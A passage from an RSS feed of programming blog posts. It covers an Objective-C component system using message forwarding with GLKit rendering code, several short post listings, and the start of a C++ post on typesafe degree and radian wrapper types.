    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;mvpMat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;projectionMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;setNormalMatrix&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;NSValue&lt;/span&gt; &lt;span class="nf"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;nMat&lt;/span&gt; &lt;span class="nf"&gt;withObjCType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="k"&gt;@encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix3&lt;/span&gt;&lt;span class="p"&gt;)]];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;setModelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSValue&lt;/span&gt; &lt;span class="nf"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mvpMat&lt;/span&gt; &lt;span class="nf"&gt;withObjCType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="k"&gt;@encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix4&lt;/span&gt;&lt;span class="p"&gt;)]];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now using our message forwarding magic, in our main loop we just need to update the GameObjects with rendering enabled like so:&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;loopUpdate&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;dt&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;aspect&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fabsf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;projectionMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MakePerspective&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMathDegreesToRadians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;aspect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;baseModelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MakeTranslation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;baseModelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;baseModelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_rotation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Compute the model view matrix for the object rendered with GLKit&lt;/span&gt;
    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MakeTranslation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_rotation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;baseModelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;setNormalMatrix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NSStringFromGLKMatrix3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
     &lt;span class="n"&gt;GLKMatrix3InvertAndTranspose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix4GetMatrix3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;))];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;setModelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NSStringFromGLKMatrix4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;projectionMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;))];&lt;/span&gt;

    &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4MakeTranslation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_rotation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;baseModelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="nf"&gt;setNormalMatrix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NSStringFromGLKMatrix3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                                                   &lt;span class="n"&gt;GLKMatrix3InvertAndTranspose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix4GetMatrix3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;))];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;background&lt;/span&gt; &lt;span class="nf"&gt;setModelViewProjectionMatrix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NSStringFromGLKMatrix4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;projectionMatrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;modelViewMatrix&lt;/span&gt;&lt;span class="p"&gt;))];&lt;/span&gt;

    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ninja&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bonus&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can already tell, how convenient Message Forwarding has made it for us to add our custom code in Components and just directly call them, even though the GameObject class doesn’t directly implements them.&lt;/p&gt;

&lt;p&gt;I believe, you can extend this idea to add more Components and rapidly add and use the functionality, while keeping the code logically separated by Components.&lt;/p&gt;

&lt;p&gt;The accompanied code is available at https://github.com/chunkyguy/OjbCComponentSystem. Since, this was just a rapid prototype test, and we have disable the ARC, the code could have potential memory leaks. Don’t use the code directly, use it just for reference purposes.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Tue, 05 Aug 2014 20:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/08/05/component-system-objc/</guid></item><item><title>Breakfast of Champions</title><link>https://olshansky.info/book/breakfast_of_champions/</link><description>Olshansky's review of Breakfast of Champions by Kurt Vonnegut Jr.</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 05 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/breakfast_of_champions/</guid></item><item><title>My PC's door</title><link>https://www.databasesandlife.com/pc-door/</link><description>&lt;p&gt;&lt;img src="https://www.databasesandlife.com/20140805-pc-door.jpg" style="float: right; padding-left: 20px; padding-bottom: 20px;" /&gt; Today I wanted to use some software I have on CD on a new computers. Obviously modern computers don&amp;rsquo;t have CD drives. One &amp;ldquo;mini PC&amp;rdquo; I have at one of my offices, however, does. My plan was, today, as I&amp;rsquo;m at this office, to use the CD drive to create an ISO of the disk. (It&amp;rsquo;s my computer, doesn&amp;rsquo;t belong to an employer.)&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Tue, 05 Aug 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/pc-door/</guid></item><item><title>Triggering Bamboo From GitLab: Making CI and VCS servers play together</title><link>https://joshuarogers.net/articles/2014-08/triggering-bamboo-gitlab/</link><description>Build servers and source control are like the peanut-butter and jelly of devops; they just go together. That would make us suspect that it shouldn't be that big of a deal to setup push notifications to trigger builds, right?
My GitLab instance shows that it will gladly trigger a build via web hook when it receives a new commit. My Bamboo shows that it will just as cheerfully scan for changes when it gets a web request.</description><author>Joshua Rogers</author><pubDate>Mon, 04 Aug 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-08/triggering-bamboo-gitlab/</guid></item><item><title>Cedit and Paredit</title><link>https://alanpearce.eu/post/cedit-and-paredit/</link><description>Cedit and paredit for structural editing</description><author>Alan Pearce</author><pubDate>Mon, 04 Aug 2014 10:10:14 GMT</pubDate><guid isPermaLink="true">https://alanpearce.eu/post/cedit-and-paredit/</guid></item><item><title>Example Web.Config files (3.5 and 4.5)</title><link>https://daniellittle.dev/example-web-config-files-3-5-and-4-5</link><description>These are the default generated Web.Config files from Visual Studio 2013 Update 3. Web.Config for .NET Framework 4.5.1 Web.Config for .NET…</description><author>Daniel Little Dev</author><pubDate>Mon, 04 Aug 2014 10:00:35 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/example-web-config-files-3-5-and-4-5</guid></item><item><title>C++: Typesafe programming</title><link>https://whackylabs.com/cpp/2014/08/03/typesafe-programming/</link><description>&lt;p&gt;Lets say you have a function that needs angle in degrees as a parameter.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"ApplyRotation: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And an another function that returns a angle in radians&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="nf"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mf"&gt;0.45&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To fill out the missing piece, you write a radians to degree function&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="nf"&gt;RadiansToDeg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;180.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;M_PI&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then some place later, you use the functions like&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;angleRadians&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;angleDegrees&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RadiansToDeg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angleRadians&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angleDegrees&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is bad. The user of this code, who might be the person next to you, or yourself 10 weeks later, doesn’t knows what does it means by angle in functions &lt;code class="language-plaintext highlighter-rouge"&gt;ApplyRotation&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;GetRotation&lt;/code&gt;. Is it angle in radians or angle in degrees?&lt;/p&gt;

&lt;p&gt;Yes, you can add a comment on top of this function about where is it a angle in degrees and where radians. But, that doesn’t actually stop the user from passing a value in whatever format they will.&lt;/p&gt;

&lt;p&gt;The main problem with this piece of code is that it uses a float as a parameter, which is an implementation detail, and doesn’t passes any other information. In C++ we can do better.&lt;/p&gt;

&lt;p&gt;Lets create new types.&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;Degrees&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;explicit&lt;/span&gt; &lt;span class="n"&gt;Degrees&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;
    
    &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;Radians&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;explicit&lt;/span&gt; &lt;span class="n"&gt;Radians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;
    
    &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And update the functions as&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;Radians&lt;/span&gt; &lt;span class="nf"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Radians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.45&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ApplyRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Degrees&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"ApplyRotation: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;Degrees&lt;/span&gt; &lt;span class="n"&gt;RadiansToDeg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Radians&lt;/span&gt; &lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
